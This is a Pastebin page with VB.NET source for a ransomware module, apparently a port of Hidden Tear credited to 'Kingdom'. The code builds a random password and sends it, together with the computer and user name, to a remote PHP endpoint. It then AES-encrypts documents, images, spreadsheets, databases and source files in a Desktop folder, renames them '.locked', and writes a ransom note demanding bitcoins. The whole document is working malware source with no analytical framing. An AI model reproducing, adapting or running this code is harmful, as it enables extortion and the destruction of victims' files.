Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Security.Cryptography
- Imports System.Text
- Imports System.IO
- Module KingDom
- ' ____ __.__ ________ _________
- ' | |/ _|__| ____ ____\______ \ ____ _____ / _____/ ____
- ' | < | |/ \ / ___\| | \ / _ \ / \ \_____ \_/ ___\
- ' | | \| | | \/ /_/ > ` ( <_> ) Y Y \/ \ \___
- ' |____|__ \__|___| /\___ /_______ /\____/|__|_| /_______ /\___ >
- ' \/ \//_____/ \/ \/ \/ \/
- ' Converted And Writer By : Kingdom ( الممَلكة ) .
- ' Skype : KingDomSc .
- Dim targetURL As String = "https://www.example.com/hidden-tear/write.php?info="
- Dim userName As String = Environment.UserName
- Dim computerName As String = System.Environment.MachineName.ToString()
- Dim userDir As String = "C:\Users\"
- Public Function LetsGo() As Boolean
- StartAction()
- Return True
- End Function
- Function AES_Encrypt(bytesToBeEncrypted() As Byte, passwordBytes() As Byte)
- Dim encryptedBytes() As Byte = Nothing
- Dim saltBytes() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
- Using ms As IO.MemoryStream = New IO.MemoryStream
- Using AES As RijndaelManaged = New RijndaelManaged()
- AES.KeySize = 256
- AES.BlockSize = 128
- Dim key = New Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000)
- AES.Key = key.GetBytes(AES.KeySize / 8)
- AES.IV = key.GetBytes(AES.BlockSize / 8)
- AES.Mode = CipherMode.CBC
- Dim cs = New CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write)
- Using (cs)
- cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length)
- cs.Close()
- End Using
- encryptedBytes = ms.ToArray()
- End Using
- End Using
- Return encryptedBytes
- End Function
- Function CreatePassword(length As Integer) As String
- Dim valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/"
- Dim res As StringBuilder = New StringBuilder()
- Dim Rnd As New Random
- Dim index As Integer = 0
- While (index <= length - 1)
- res.Append(valid(Rnd.Next(valid.Length)))
- index = index + 1
- End While
- Return res.ToString()
- End Function
- Function encryptDirectory(location As String, password As String)
- Dim validExtensions = New String() {".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"}
- Dim files() As String = Directory.GetFiles(location)
- Dim childDirectories As String() = Directory.GetDirectories(location)
- For i = 0 To files.Length - 1
- Dim extension As String = Path.GetExtension(files(i))
- For ii = 0 To validExtensions.Length - 1
- If validExtensions(ii).Contains(extension) Then
- EncryptFile(files(i), password)
- End If
- Next
- Next
- For i = 0 To childDirectories.Length - 1
- encryptDirectory(childDirectories(i), password)
- Next
- End Function
- Function messageCreator()
- Dim path As String = "\Desktop\test\READ_IT.txt"
- Dim fullpath As String = userDir + userName + path
- Dim lines() As String = {"Files have been encrypted with hidden tear", "Send me some bitcoins or kebab", "And I also hate night clubs, desserts, being drunk."}
- System.IO.File.WriteAllLines(fullpath, lines)
- End Function
- Function StartAction()
- Dim password As String = CreatePassword(15)
- Dim path As String = "\Desktop\test"
- Dim startPath As String = userDir + userName + path
- SendPassword(password)
- encryptDirectory(startPath, password)
- messageCreator()
- password = Nothing
- System.Windows.Forms.Application.Exit()
- End Function
- Function EncryptFile(file As String, password As String)
- Dim bytesToBeEncrypted As Byte() = IO.File.ReadAllBytes(file)
- Dim passwordBytes() As Byte = System.Text.Encoding.UTF8.GetBytes(password)
- passwordBytes = System.Security.Cryptography.SHA256.Create().ComputeHash(passwordBytes)
- Dim bytesEncrypted() As Byte = AES_Encrypt(bytesToBeEncrypted, passwordBytes)
- IO.File.WriteAllBytes(file, bytesEncrypted)
- System.IO.File.Move(file, file + ".locked")
- End Function
- Function SendPassword(Password As String) As String
- Dim info As String = computerName + "-" + userName + " " + Password
- Dim fullUrl As String = targetURL + info
- Dim conent As String = New System.Net.WebClient().DownloadString(fullUrl)
- Return conent
- End Function
- End Module
Advertisement
Add Comment
Please, Sign In to add comment